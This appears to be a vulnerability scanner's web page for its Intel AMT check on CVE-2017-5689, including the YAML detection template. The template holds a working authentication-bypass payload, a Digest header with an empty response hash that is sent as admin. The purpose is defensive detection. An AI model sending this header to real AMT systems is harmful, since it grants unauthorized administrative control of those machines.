Intel AMT — 1 vulnerability check

noctis ships 1 vulnerability check for Intel AMT, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Intel AMT Digest Authentication Bypass

CVECVE-2017-5689
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/intel-amt/CVE-2017-5689.yaml

Tests Intel AMT/ISM/SBT for the empty-Digest-response authentication bypass. A Digest Authorization header with an empty response hash authenticates as the admin account. Proven as a differential: empty response accepted (200) while a non-empty wrong response is rejected (401).

How noctis detects it

  1. HTTP(S) request GET /index.htm
  2. Checks empty_resp.body for Active Management Technology
  3. HTTP(S) request GET /index.htm
  4. Checks empty_resp.body for Active Management Technology → finding QoD 75: Empty-response Digest accepted (status …) while wrong response rejected (status …) — CVE-2017-5689 auth bypass confirmed.

References:

Feed source — tests/vulnerabilities/intel-amt/CVE-2017-5689.yaml
# Intel Active Management Technology (AMT) authentication bypass — CVE-2017-5689.
#
# The AMT/ISM/SBT web and SOAP interfaces use HTTP Digest authentication. The
# firmware compares the client-supplied `response=` hash against the computed
# one using strncmp() bounded by the client-supplied LENGTH — so a Digest header
# whose `response=""` is EMPTY compares zero bytes and always succeeds,
# authenticating as the privileged account without knowing the password.
#
# Detection (safe, read-only — no administrative action):
#   Differential on the protected AMT index page:
#     (1) Digest with response=""  (the CVE trigger)  → must be ACCEPTED (200 + admin page)
#     (2) Digest with response=<32 hex> (wrong)        → must be REJECTED (401)
#   The finding fires only when the empty hash is accepted AND the wrong hash is
#   rejected. This proves the length-only comparison bug and rejects a server
#   that merely returns 200 for any/no authentication.
uid: ab09ca16-2809-405e-ab5b-e042588de2ec
name: "Intel AMT Digest Authentication Bypass (CVE-2017-5689)"
description: |
  Tests Intel AMT/ISM/SBT for the empty-Digest-response authentication bypass.
  A Digest Authorization header with an empty response hash authenticates as the
  admin account. Proven as a differential: empty response accepted (200) while a
  non-empty wrong response is rejected (401).
cves: [CVE-2017-5689]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [intel, amt, vpro, auth-bypass, digest]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-5689"
  - "https://www.intel.com/content/www/us/en/support/articles/000025619/software.html"
  - "https://www.embedi.org/blog/silent-bob-is-silent/"

steps:
  # Track whether the empty-response Digest was accepted.
  - id: init-flag
    action: set_var
    var_name: amt_empty_ok
    var_value: false

  # ── (1) trigger: Digest with EMPTY response hash → expect 200 admin page ──
  - id: empty-probe
    action: http_request
    method: GET
    path: "/index.htm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Authorization: 'Digest username="admin", realm="Digest:A9EBD000000000000000000000000000", nonce="noctis", uri="/index.htm", response=""'
    store_as: empty_resp

  - id: mark-empty-accepted
    action: match
    source: empty_resp.body
    # Admin-only AMT management page content, served only when authenticated.
    pattern: "Active Management Technology"
    condition: "empty_resp.status == 200"
    on_match:
      set_vars:
        amt_empty_ok: true

  # ── (2) control: Digest with WRONG non-empty response hash → expect 401 ──
  - id: wrong-probe
    action: http_request
    method: GET
    path: "/index.htm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Authorization: 'Digest username="admin", realm="Digest:A9EBD000000000000000000000000000", nonce="noctis", uri="/index.htm", response="ffffffffffffffffffffffffffffffff"'
    store_as: wrong_resp
    condition: "amt_empty_ok == true"

  # Finding fires ONLY when empty-hash was accepted AND wrong-hash was rejected.
  - id: confirm-bypass
    action: match
    source: empty_resp.body
    pattern: "Active Management Technology"
    condition: "amt_empty_ok == true && wrong_resp.status == 401"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 75
        evidence: "Empty-response Digest accepted (status {{empty_resp.status}}) while wrong response rejected (status {{wrong_resp.status}}) — CVE-2017-5689 auth bypass confirmed."
      stop: true

View these feeds on GitHub